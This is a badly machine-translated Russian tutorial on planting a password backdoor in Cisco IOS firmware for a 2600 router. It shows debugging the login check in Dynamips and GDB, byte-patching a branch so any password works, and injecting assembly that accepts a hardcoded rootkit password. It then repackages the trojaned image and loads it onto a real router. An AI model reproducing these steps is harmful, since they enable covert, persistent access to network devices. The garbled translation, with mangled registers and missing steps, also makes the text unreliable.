Некоторые базовые знания о сборке PowerPC: всего 32 регистра, r0-r32, некоторые из которых очень особенные. Регистр ссылки содержит адрес следующей инструкции, так что когда вызываемая функция завершает все операции, функция знает, куда вернуть выполнение. Например, если у вас есть ветка и ссылкаbl _my_function
, Который работает как x86ret
,bl _my_function
Будет извлекатьbl _my_function
Добавьте 4 к начальному адресу инструкции и сохраните результат в регистре соединения; затем jmp в _my_function. В _my_functionbl _my_function
Вызовет mflr% rX-, чтобы перейти из регистра соединения в регистр rX, и сохранить, … запустить всю _my_function и, наконец, вызвать mtlr% rX-, чтобы перейти к регистру соединения, а затем вызвать ветвь в регистре соединения blr. Это может извлечь адрес сохраненного регистра связи из% rX, а затем вызвать ветвь в регистре связи, то есть установить счетчик программы на адрес, хранящийся в регистре связи.
bl _my_function
cmp %r3, 0
stw% rX, memY: все коды операций stw * используются для хранения данных и выполняются слева направо. lwz% r4, -0xc (% sp): Все коды операций lw * предназначены для загрузки данных и выполняются справа налево. % r1 и% sp — это одно и то же; по сути, r1 — это поддельный указатель стека. Возвращаемое значение функции обычно помещается в r3, и r3 часто используется как первый параметр функции, за которым следуют r4, r5, r6 …
Вы можете установить регистр условий для большинства кодов операций, добавив крайний срок; например:
0000 xor.% R4,% r4,% r4 # r4 = 0 и установить регистр условий
0001 bnel _strcmp # Не прыгать, но сохранить LR-ветку будет некорректно
0002 mflr% r4 # Переместить * этот * адрес (0002) в r4
0004 addi% r4,% r4, 8 # (# строка, начинающаяся с mflr) * 4; теперь r4 указывает на строку
0005 .ascii "Iminlovewithamaliciousintent" 0006 .long 0x0
Скопировать код
Опять же, в Интернете есть много онлайн-руководств по сборке PowerPC. На данный момент вам нужно лишь приблизительно знать, что мы делаем. При использовании b * 1 для вызова функции цифра 1 в конце означает установку регистра соединения на значение следующей инструкции после инструкции вызова. Затем используйте ветвь в регистре соединения blr в функции, чтобы вернуться к использованию регистра соединения, также сообщив функции, где должен быть установлен счетчик программы. mflr-Удалить регистр подключения. Каждый раз, когда вы хотите сохранить регистр подключения, вы можете вызвать mflr% rX, и функция сохранит регистр подключения в rX. mtlr — перейти в регистр подключения, вы можете установить mtlr, затем вызвать blr и перейти к этому адресу, будь то относительный адрес или абсолютный адрес. mr- переместить регистр, также работать справа налево. Поскольку все инструкции состоят из 4 байтов или 1 слова, вам понадобятся две инструкции для загрузки 32-битного значения в слово на PowerPC. Есть много способов добиться этого, но наиболее распространенными являются:
Теперь r4 = 0x80008000. Большинство кодов операций будут использовать w для ссылки на слово, b для ссылки на байт, z для ссылки на заполнение нулями и i для немедленной ссылки или их комбинацию. Знания этого достаточно для понимания следующих операций.
Вернитесь в IDA, дважды щелкните DATA XREF: sub_803BD4C0 + 38 и начните наблюдать за функцией на loc_803bd4f4; функция загружает 0 в r30, а затем загружает байт верхнего регистра строки «Пароль:» в r27. В следующем loc_803bd4fc строчный байт хранится в r6, поэтому мы можем предположить, что следующая вызываемая функция отобразит эту строку. Если это функция входа в систему, нам нужно выполнить только два шага, чтобы выйти из этой функции: когда r3 равно 0, beq loc_803bd540 войдет в другую часть, чтобы получить значение, переданное функции (addi r3, r1, 0x70 + var_68) , А затем извлеките два других r4 и r5. Затем мы внимательно рассмотрим эту функцию, ее начальный кодaddi r3, r1, 0x70+var_68
. Далее, когда возвращаемое значение r3 не равно 0, мы выпрыгиваем из вызова функцииbl sub_80385070
。
Чтобы преобразовать адрес из IDA в objdump, сначала используйте objdump для обработки файла и найдите начало кода:
В этом двоичном коде код начинается с 0x60, возьмите этот адрес, вычтите базовый адрес 0x80008000 и добавьте 0x60, так что вы получите свой адрес objdump. Что нужно помнить, так это откуда этот 0x60, потому что мы будем использовать этот адрес много раз в будущем.
И, чтобы перевернуть адрес из objdump обратно в IDA, вам нужно добавить базовый адрес 0x80008000 к адресу objdump, а затем вычесть 0x60:
Если вы хотите использовать objdump для поиска местоположения или адреса, просто запомните информацию в нижнем регистре в выводе objdump и информацию в верхнем регистре в IDA, чтобы вы могли использовать objdump для поиска адреса (до нескольких байтов предложений):
Теперь нам нужно открыть PowerPC QEMU, запустить наш образ Debian на основе PowerPC в одном окне, запустить Dynamips, настроенный с заглушкой GDB, в другом окне, а затем удаленно отладить экземпляры Dynamips IOS через GDB в QEMU.
В Dynamips мы запустим заглушку GDB на порту 6666 и настроим интерфейс tap 1, чтобы мы могли связываться с виртуальным маршрутизатором через виртуальную сеть.
[ [email protected] ]# tunctl -t tap1
[ [email protected] ]# ifconfig tap1 up
[ [email protected] ]# ifconfig tap1 192.168.9.1/24
[ [email protected] ]# ./dynamips-gdb-mod/dynamips -Z 6666 -j -P 2600 -t 2621 -s 0:0:tap:tap1 -s 0:1:linux_eth:eth0 /path/to/C2600-BI.BIN
Cisco Router Simulation Platform (version 0.2.8-RC2-amd64) Copyright (c) 2005-2007 Christophe Fillot.
Build date: Sep 21 2015 00:35:24
IOS image file: /path/to/C2600-BI.BIN ILT: loaded table "mips64j" from cache. ILT: loaded table "mips64e" from cache. ILT: loaded table "ppc32j" from cache. ILT: loaded table "ppc32e" from cache. C2600 instance 'default' (id 0):
VM Status : 0
RAM size : 64 Mb
NVRAM size : 128 Kb
IOS image : /path/to/C2600-BI.BIN
Loading BAT registers
Loading ELF file '/path/to/C2600-BI.BIN'...
ELF entry point: 0x80008000
C2600 'default': starting simulation (CPU0 IA=0xfff00100), JIT disabled. GDB Server listening on port 6666.
Скопировать код
Откройте другое окно терминала и запустите QEMU:
[ [email protected] ]# qemu-system-ppc -m 768 -hda debian_wheezy_powerpc_standard.qcow2
Скопировать код
После запуска и входа в систему как пользователь root: root и выполните переадресацию порта SSH, упомянутую ранее, потому что это упростит взаимодействие с виртуальной машиной. Пока вы вошли в систему (в любом случае), откройте GDB и подключитесь к экземпляру Dynamips (X.X.X.X — это IP-адрес, на котором работает Dynamips):
[[email protected] ] # gdb -q
(gdb) target remote X.X.X.X:6666
Remote debugging using X.X.X.X:6666
0xfff00100 in ?? ()
(gdb)
Скопировать код
На данный момент Dynamips работает под управлением IOS, есть заглушка для отладки на порту 6666, и мы также подключены к виртуальной машине PowerPC Debian. Затем сначала начните с начальной позиции функции, которую мы думаем, которая является строкой, выделенной в IDA-view Aaddi r3, r1, 0x70+var_68
, А затем посмотрите на этот адрес в шестнадцатеричном представлении, вот 0x803bd528, посмотрите на этот адрес в GDB и проверьте, находитесь ли вы в том же порту.
Сравните инструкции и адреса в IDA:
Инструкции и адреса в GDB:
В разных инструментах отладки операционный код выглядит по-разному, независимо от того, какую версию программы отладки вы используете, просто адаптируйтесь к ней. Похоже, что он находится в том же месте, поэтому вам необходимо: 1. Установить IP-адрес на интерфейсе и установить пароль в строке VTY 2. Сохранить конфигурацию маршрутизатора 3. Убедитесь, что вы можете загрузить его с виртуальной машины для разработки Отправьте эхо-запрос на маршрутизатор 4. Установите точку останова на 0x803bd534 в bl 0x81b68928, чтобы мы могли видеть содержимое r3, r4 и r5
В экземпляре GDB установите точку останова в местоположении команды b * 0x803bd534, а затем введите ‘c’ или ‘continue’, чтобы экземпляр маршрутизатора в Dynamips мог продолжить запуск, а затем переключиться обратно в окно Dynamips, пока маршрутизатор запущен По завершении войдите в базовую конфигурацию.
Теперь с вашего основного хоста попробуйте войти в маршрутизатор через telnet. Если вы всегда следуете требованиям и используете один и тот же образ IOS, когда вы вводите пароль маршрутизатора и нажимаете клавишу Enter, окно зависает, и в окне GDB будет обнаружена точка останова. * Примечание: ваш регистрационный адрес обычно отличается от того, что вы видите здесь.
В точке останова мы можем наблюдать регистры, используемые в качестве параметров вызывающей функции: первый — r3, второй — r4, третий — r5 и так далее. В r3 есть пароль, который мы ввели, а в r4 — настоящий пароль и функция входа в систему, которую мы ищем. Затем на r3 выполняется операция сравнения:
Если значения не совпадают («ветвь не равна»), функция переходит к 0x803bd4ec. Установите точку останова на инструкции ветвления и соблюдайте r3:
Поскольку пароль, который мы ввели неверный, а значение r3 равно 0, теперь мы знаем, что для успешного входа в систему это значение не должно быть равным. Нажмите «c» в GDB, затем вернитесь в окно telnet, на этот раз введите правильный пароль, нажмите Enter и вернитесь в окно GDB.
Теперь мы успешно вошли в систему. Троянский конь может просто получить другие части, чтобы проверить, правильный ли пароль, вместо проверки «ветви не равны» мы изменили это условие на «ветви равны», в данном случае в дополнение к правильному паролю. Подойдет любой другой пароль. Теперь это то же самое, что и обход однобайтового входа. Нажмите ctrl + c, ‘q’, ‘y’, чтобы выйти из GDB.
Мы хотим найти инструкцию objdump (bne), чтобы мы могли использовать ht для редактирования инструкции и модификации ее сравнительного теста. Вернитесь в IDA, переместите мышь вbne loc_803bd4ec
А затем просмотрите его в шестнадцатеричном виде. Скопируйте всю строку:
803BD53C 40 82 FF B0 80 1F 01 50 70 09 02 00 40 82 00 1C
Скопировать код
Вычтите базовый адрес Cisco 0x80008000 из смещения позиции адреса 0x803bd53c и добавьте смещение начальной позиции кода в выходных данных 0x60 objdump.
[ [email protected] ]# pcalc 0x803BD53C - 0x80008000 + 0x60
3888540 0x3b559c 0y1110110101010110011100
Скопировать код
Местоположение, которое мы хотим изменить, — это адрес 0x3b559c в двоичном файле. Прежде всего, мы должны найти код операции, просто написать простую программу сборки на виртуальной машине QEMU. Чтобы лучше понять код операции, который нам нужен:
Первые 6 байтов — это код нашей операции. Следовательно, нам нужно написать пару простых ассемблерных программ, одну с использованием инструкции bne (ветви не равны), а другую с использованием инструкции beq (когда ветви равны).
Код операции — первые 6 цифр-0100 00 или 0x40. Теперь мы должны использовать тот же метод, чтобы найти код операции beq:
Здесь мы видим, что код операции bne (ветви не равны) — 0x40, а код операции bep (когда ветви равны) — 0x41. Мы знаем, что расположение инструкции bne — 0x3b559c, откройте C2600-BI.BIN в ht и измените 0x40 на 0x41.
[ [email protected] ]# ht C2600-BI.BIN
Скопировать код
Нажмите F5 и введите 0x3b559c
Обязательно наведите указатель мыши на 40, нажмите F4 для редактирования, измените 40 на 41, нажмите F2 для сохранения, а затем нажмите F10 для выхода. Теперь загрузите файл обратно в Dynamips, подключитесь к файлу через GDB и убедитесь, что изменения вступили в силу.
Мы видим, что инструкция по адресу 0x803bd53c действительно была изменена с bne 0x803bd4ec на beq 0x803bd4ec, то есть, помимо реального пароля, ввод любого другого пароля может получить доступ к маршрутизатору. Снова нажмите ‘c’ и позвольте маршрутизатору продолжить загрузку. После завершения запуска вы можете использовать любой пароль для входа в маршрутизатор. Чтобы доказать это, я написал простой сценарий Expect, чтобы вы могли видеть на экране, какой пароль получает маршрутизатор.
Затем с помощью этого скрипта мы можем подключиться к роутеру. Я делаю это только для того, чтобы увидеть пароль, отправленный на маршрутизатор и полученный маршрутизатором, потому что, если этот сценарий не используется, на экране ничего не будет отображаться. Другой момент заключается в том, что при использовании этого сценария реальный пароль также может работать, но вы не можете использовать telnet для входа в систему. Причина в том, что этот сценарий отправит дополнительный символ как новый разрыв строки, и этот разрыв строки будет использоваться в качестве пароля после его получения.Вы можете видеть, что первая попытка не удалась, а затем была получена вторая попытка.
На этом этапе мы впервые успешно изменили двоичный файл IOS, что позволяет нам использовать любой пароль для входа в строку VTY, кроме, конечно, настоящего пароля. Хотя мы хорошо доказали, что можно изменить двоичный файл ISO, но он далек от того, чтобы достичь уровня, который может быть применен в реальной среде. Теперь нам нужно написать несколько практических вещей, план такой:
Мы найдем достаточно большое место в области данных только для чтения (.rodata) для хранения нашего кода сборки, мы будем использовать наш собственный скомпилированный код, чтобы перезаписать строку там, а затем изменим область, в которую помещается двоичная модификация. реализовано. Затем мы заменим функцию проверки пароля нашей собственной функцией. Функция проверки пароля выполняет простое сравнение строк. Сравнение — это статический пароль, который мы скомпилировали в ассемблере. Если результат сравнения совпадет, он будет Функция проверки пароля возвращает успешный результат; если он не совпадает, исправьте все параметры реальной функции, а затем вызовите настоящую функцию.
Сохраните версию троянского коня C2600-BI.BIN под другим именем и снова распакуйте c2600-bino3s3-mz.123-22.bin, чтобы получить новый C2600-BI.BIN. Далее мы изменим этот файл (* обратите внимание, чтобы использовать последнюю версию C2600-BI.BIN):
Когда мы завершим некоторые операции, 0x803bd534 будет читать bl <адрес нашей функции> ‖, и если введенный пароль не равен паролю руткита, то его нужно будет отправить на проверку пароля чтения, поэтому мы должны проверить наш Вручную вызовите «b 0x80385070» (всегда переход) в функции. Вернитесь в IDA, перейдите в View -> Open Subview -> Strings, нажмите Length, первое, что мы видим, является самым длинным. Выберите строку на .rodata: 81B688E0, длина которой составляет 0x305-точка-точка. После первого stage-кода, начинающегося с 0x81B688E0, но наш код будет начинаться с 0x81b68928, мы начнем код со слова «Все».
Как получить адрес для перехода? Нам нужно два, один — это адрес ветки нашей строки / кода на 0x81b68928, который используется для замены вызова функции проверки пароля. Другой исходит от нашей функции, это адрес ветки функции проверки реального пароля.Если пароль не совпадает с паролем руткита и его необходимо отправить в функцию проверки реального пароля, будет вызвана функция проверки пароля. Короче говоря, код операции для базовой ветки — 48 00 00 00, поэтому сначала мы компилируем первую и смотрим, куда код операции помещает нас в этой части.
Поле кода операции — это первые 6 битов, 0-5 бит; следующие 4 бита — адрес, 6-29 битов; бит 30 AA определяет, является ли адрес абсолютным адресом или относительным адресом, а бит 31 LK будет определять, подключена ли операция. регистр.
Откройте C2600-BI.BIN с помощью ht, нажмите F5, перейдите к 0x3b5594 (две инструкции назад от 0x3b559c) и замените 4b fc 7b 3d на 48 00 00 00, сохраните и запустите в Dynamips, а затем подключитесь через GDB, И посмотрите, какой здесь адрес.
Мы обнаружили, что при использовании нашего кода операции 48 00 00 00 для проверки базовой ветви мы получим инструкцию b 0x803bd534, но нам нужно установить регистр соединения. Согласно приведенному выше объяснению, все эти операции в конечном итоге установят последний бит на 0x1 вместо 0x0, следовательно, чтобы получить bl 0x803bd534, мы должны установить код операции 48 00 00 01.
Мы решили начать наш код с 0x81b68928, который является начальным адресом ВСЕГО слова в строке авторского права точка-точка. Наша основная инструкция ветвления разместит нас по адресу 0x803bd534, и мы должны достичь 0x81b68928. Следовательно, нам нужно выяснить разницу, а затем добавить ее в нашу базовую операцию ветвления.
Результатом этого добавления является то, что бит 31 не установлен, но нам нужно установить этот бит, поэтому мы должны снова установить последний бит от 0x0 до 0x1, чтобы получить шестнадцатеричное значение 0x497ab3f5, поэтому наш код операции будет Переход к началу нашего кода: -49 7a b3 f5. Наш код операции 0x497ab3f5 переместится с 0x803bd534 на наш строковый адрес 0x81b68928. Снова откройте C2600-BI.BIN в ht, нажмите F5 и введите адрес 0x3b5594, установите для байта значение 49 7a b3 f5, сохраните и загрузите его в GDB.
Далее идет наша функция сравнения строк. Я постараюсь объяснить как можно проще, без всяких уловок и фишек, чтобы всем было понятно. Мы соберем и свяжем эту функцию, а затем поместим в функцию байты, начиная с 0x81b68928.
То, что я написал, можно использовать для локального тестирования. Но мы хотим заразить функцию входа в систему в реальной среде, поэтому нам нужно начинать с начала, вплоть до последнего пароля руткита и, наконец, заканчивать с 00 00 00 00 после rkPass. Нам нужно собрать и связать то, что я написал, а затем использовать objdump, чтобы выгрузить нужные нам байты, а затем заменить их нашими байтами.
Я видел адресb 0x00000000
Позже мы решили разобраться, что здесь произошло. Во-первых, используйте тот же метод, что и раньше, чтобы уточнить, где слово «Все» в двухточечной строке соответствует позиции в objdump: вычтите базовый адрес 0x8000800 из адреса позиции строки 0x81b68928 плюс начало кода в objdump 0x60 Смещение позиции.
Сначала скомпилируйте и свяжите код rootkit.s, а затем выгрузите нужные нам байты в файл патча.
Если вы выполняете файл на собранном и связанном файлеobjdump -D rootkit
, Вы обнаружите, что нам нужно вывести байты, которые начинаются со смещения 10000054 и заканчиваются на 100000e0. Затем мы извлекаем эти байты и отправляем их в наш файл исправления. После этого скопируйте файл rootkit.patch с виртуальной машины Debian PowerPC на основную виртуальную машину разработки.
Из наших предыдущих расчетов мы знаем, что rootkit.patch должен быть записан в файл C2600-BI.BIN по смещению 0x1b60988. Для этого мы написали простой скрипт Python для выполнения этой операции. Файлы rootkit.patch и C2600-BI.BIN должны находиться в одном каталоге, а имя вашего файла должно совпадать с нашим.
Снова используйте ht, чтобы открыть только что исправленный файл C2600-BI.BIN, нажмите F5 и введите адрес 0x1b60988, чтобы убедиться, что исправление было применено правильно.
Затем запустите файл в Dynamips и подключитесь через GDB, проверьте байты и убедитесь, что наш код присутствует.
* Обратите внимание, что мы не предоставили здесь полную информацию.
Для этого патча последнее, что нужно сделать, это исправить ветвь ложного местоположения -b 0x00000000 в коде сборки, перейти к функции проверки реального пароля, которую мы разместили ранее, она должна бытьb 0x80385070
. Теперь ветка находится на 0x81b689a0, и мы хотим, чтобы эта ветка была на 0x80385070.
Снова откройте C2600-BI.BIN с помощью ht, перейдите по адресу 0x1b60a00 и замените байт 48 00 00 00 новым кодом операции ветвления и вычисленным адресом. Однако сказать это немного просто:
Найдите отрицательный адрес отделения:
<младший адрес> - <старший адрес> Получить младшие 26 цифр в результате и префикс 0y010010
Скопировать код
Найдите адрес основного отделения:
<старший адрес> - <младший адрес> Получите результат и добавьте 0x48000001
Скопировать код
Последнее, что нужно сделать, — это сделать эту часть нашей строки исполняемой. Мы знаем из IDA, что эта часть данных предназначена только для чтения. Откройте в ht, нажмите F6, выберите elf / header, прокрутите вниз до машины, установите тип от SPARC 002b до PowerPC 0014 и сохраните. Затем используйте objdump, чтобы сделать эту часть исполняемой.
PowerPC 0014, and save it. Then use objcopy to set the section executable.
[ [email protected] ]# objcopy -F elf32-powerpc --set-section-flags .rodata=alloc,code C2600-BI.BIN C2600-BI.BIN.ROEXEC
Скопировать код
Откройте C2600-BI.BIN.ROEXEC в ht, установите тип машины с PowerPC 0014 обратно на SPARC 002b, запустите Dynamips, подключитесь через GDB; затем продолжите. Сначала попробуйте войти в систему с обычным паролем, а затем войдите в систему с новым руткитом для бэкдора, который мы установили. Если у вас возникли проблемы со входом в систему, вернитесь и проверьте каждый шаг. Проверьте неисправность, выполнив следующие действия.
- После изменения байтов вы запустили новый C2600-BI.BIN?
- Все адреса филиалов верны?
- Все ли коды операций ветвления, включая регистры соединений, находятся в требуемых позициях, и проверьте, появляются ли они в позициях, которые не должны появляться? 4. Запустите IOS в Dynamips, используйте соединение GBD, прежде чем продолжить, проверьте инструкции: x / i 0x803bd53c, x / i 0x803bd534, x / 35i 0x81b68928.
- Установите несколько точек останова на b * 0x81b6899c, b * 0x81b689a0, b * 0x803bd538, b * 0x803bd534 и проверьте строку в x / s r3, x / s r4 в последней точке останова, убедитесь, что вы ввели пароль и маршрутизатор Ожидаемый пароль определяется этими регистрами.
Теперь, когда наш руткит может работать в Dynamips, пришло время воссоздать двоичный файл IOS, затем загрузить наш руткит на настоящий маршрутизатор и протестировать его. Прежде всего, мы должны сжать C2600-BI.BIN.ROEXEC. Я обнаружил, что лучше всего не использовать программу zip, потому что она может добавить неправильные байты, а использовать простой скрипт Python, как показано ниже:
Затем мы должны вычислить размер несжатого и сжатого изображения и сгенерировать контрольную сумму для изображения.
[ [email protected] ]# ./chksum.pl C2600-BI.BIN.ROEXEC.zip
Скопировать код
[!] Вычислить контрольную сумму файла C2600-BI.BIN.ROEXEC.zip
[!] Вычислить контрольную сумму файла C2600-BI.BIN.ROEXEC
Нам нужно поставить следующее значение после магического числа 0xfeedface в заголовке:
0265e288 Размер несжатого изображения
00ea53de Размер изображения после сжатия
Контрольная сумма сжатого изображения 4d955cec
c4e7e7c0 Контрольная сумма несжатого зеркала
Затем cat отразите заголовок, затем распечатайте 4 байта в двоичном формате и, наконец, cat zip-файл.
Прежде чем загружать наш образ троянского коня IOS на настоящий маршрутизатор и запускать его, нам, наконец, нужно изменить размер в заголовке SFX.
Размер zip плюс 20 используется для покрытия 0xfeedface, размера изображения, размера несжатого изображения, контрольной суммы изображения и контрольной суммы несжатого изображения.
Откройте в ht, нажмите F5 и перейдите к смещению 0x108, введите наш недавно рассчитанный размер 00 ea 53, нажмите F2, сохраните и выйдите из ht.
[ [email protected] ]# mv trojan.bin c2600-trojan-mz.123-22.bin
Скопировать код
Теперь загрузите руткит на настоящий роутер и перезагрузите:
Если в каком-либо из приведенных выше требований к памяти появляется слово «неизвестно», возможно, вы используете неподдерживаемую конфигурацию или проблема в программном обеспечении, и система может быть повреждена.
0x04 заключение
Теперь, как видите, мы можем войти в систему, используя пароль, настроенный администратором, или пароль нашего бэкдора. Хотя эта статья очень проста, в ней показаны все необходимые компоненты, которые необходимы при разработке более сложных функций. Некоторые другие люди также продемонстрировали некоторые другие методы, необходимые для выполнения других задач, такие как использование строковых ссылок для определения функций, необходимых для расширенных функций, создание оболочки привязки с разрешениями и создание нового разрешения VTY / TTY. , Добавьте или удалите требования к паролю для VTY, создайте авторизованную обратную оболочку и многое другое. Вам просто нужно уделить время, просмотреть статьи и онлайн-руководства, а затем применить полученные здесь основы для их применения. Надеемся, что технология бинарной модификации iOS, показанная в этой статье, не сложна по сравнению с другими модификациями прошивки. Пришло время переварить эти выводы и понять эти функции с помощью трассировки, отладки и заключения в кавычки. В этом нет никакого волшебства, ни одна страна не нужна как источник кода, и никаких секретных передовых технологий не задействовано. Чтобы изменить двоичный файл прошивки устройства Cisco, вам потребуются только базовые знания кодирования, знание языка ассемблера, связанного с целевой архитектурой, общее понимание разборки, а также время и интерес.